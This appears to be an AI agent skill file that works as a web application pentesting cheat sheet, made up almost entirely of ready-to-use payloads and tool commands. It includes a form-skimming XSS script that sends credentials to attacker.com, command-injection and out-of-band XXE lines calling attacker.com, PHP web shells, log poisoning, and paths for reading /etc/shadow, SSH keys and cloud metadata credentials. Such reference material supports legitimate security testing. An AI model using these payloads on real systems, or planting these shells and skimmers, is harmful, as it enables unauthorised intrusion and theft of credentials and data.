| name | testing-web-applications |
| description | Test web applications for security vulnerabilities including SQLi, XSS, command injection, JWT attacks, SSRF, file uploads, XXE, and API flaws. Use when pentesting web apps, analyzing authentication, or exploiting OWASP Top 10 vulnerabilities. |
Testing Web Applications
When to Use
- Pentesting web applications
- Testing authentication/authorization
- Exploiting injection vulnerabilities
- Analyzing JWT/session security
- Testing file upload functionality
- API security assessment
SQL Injection
Quick Detection:
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
Union-Based SQLi:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
Time-Based Blind:
' AND SLEEP(5)--
-- PostgreSQL
' AND pg_sleep(5)
' WAITFOR DELAY '0:0:5'--
Automated Testing:
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name
Cross-Site Scripting (XSS)
Quick Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
Filter Bypasses:
<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">
Steal Credentials:
<script>
document.forms[0].onsubmit = function(){
fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>
Tools:
dalfox url http://target.com/search?q=test
XSStrike -u "http://target.com/search?q=test"
Command Injection
Basic Operators:
;whoami
|whoami
||whoami
&whoami
&&whoami
`whoami`
$(whoami)
%0Awhoami
Blind Detection:
& sleep 10 &
& nslookup attacker.com &
& curl http://attacker.com &
Common Parameters:
?cmd=, ?exec=, ?command=, ?ping=, ?query=, ?code=, ?do=
JWT Attacks
Quick Testing:
python3 jwt_tool.py -M at -t "https://api.target.com/endpoint" -rh "Authorization: Bearer TOKEN"
python3 jwt_tool.py TOKEN -X a
python3 jwt_tool.py TOKEN -X n
python3 jwt_tool.py TOKEN -X k
Manual Testing:
echo "eyJhbGc..." | base64 -d
{"alg":"none","typ":"JWT"}
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
SSRF (Server-Side Request Forgery)
Basic Payloads:
http://127.0.0.1
http://localhost
http://169.254.169.254/
http://[::1]
Cloud Metadata:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Bypasses:
http://2130706433/
http://0x7f000001/
http://127.1/
http://127.0.0.1.nip.io
File Upload
Bypass Extensions:
shell.php.jpg
shell.jpg.php
shell.php%00.jpg
shell.phP
shell.php5
shell.phtml
Magic Bytes:
GIF89a<?php system($_GET['cmd']); ?>
Simple Web Shells:
<?php system($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php passthru($_GET['cmd']); ?>
XXE (XML External Entity)
Basic XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Out-of-Band XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
<root></root>
SVG XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
LFI/RFI (Local/Remote File Inclusion)
Path Traversal:
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
Common Targets (Linux):
/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/var/www/html/config.php
~/.ssh/id_rsa
~/.bash_history
Common Targets (Windows):
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\conf\httpd.conf
PHP Wrappers:
php://filter/convert.base64-encode/resource=index.php
php://input
data://text/plain,<?php system('whoami'); ?>
expect://whoami
Log Poisoning:
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami
API Testing
Common API Paths:
/api/v1/
/api/v2/
/graphql
/swagger.json
/api-docs
IDOR Testing:
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/2 -H "Authorization: Bearer USER1_TOKEN"
Mass Assignment:
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'
GraphQL Introspection:
{
__schema {
types {
name
fields {
name
}
}
}
}
Tools
Enumeration:
ffuf -u http://target.com/FUZZ -w wordlist.txt
gobuster dir -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com -w wordlist.txt
Vulnerability Scanning:
nikto -h http://target.com
nuclei -u http://target.com -t ~/nuclei-templates/
Parameter Discovery:
arjun -u http://target.com/page
paramspider -d target.com
Quick Reference
Start Testing:
- Run directory enumeration (ffuf/gobuster)
- Check for SQLi in parameters (
', ", OR 1=1)
- Test XSS in inputs (
<script>alert(1)</script>)
- Analyze JWT tokens if present (jwt_tool)
- Check file uploads (bypass filters, upload shell)
- Test API endpoints (IDOR, mass assignment)
- Look for command injection (
;whoami, |id)
Most Common Wins:
- SQLi in search/filter parameters
- XSS in unescaped user inputs
- IDOR in API
/users/{id} endpoints
- Weak JWT secrets (brute force)
- File upload bypasses
- Command injection in system utilities
References
See HackTricks for detailed techniques:
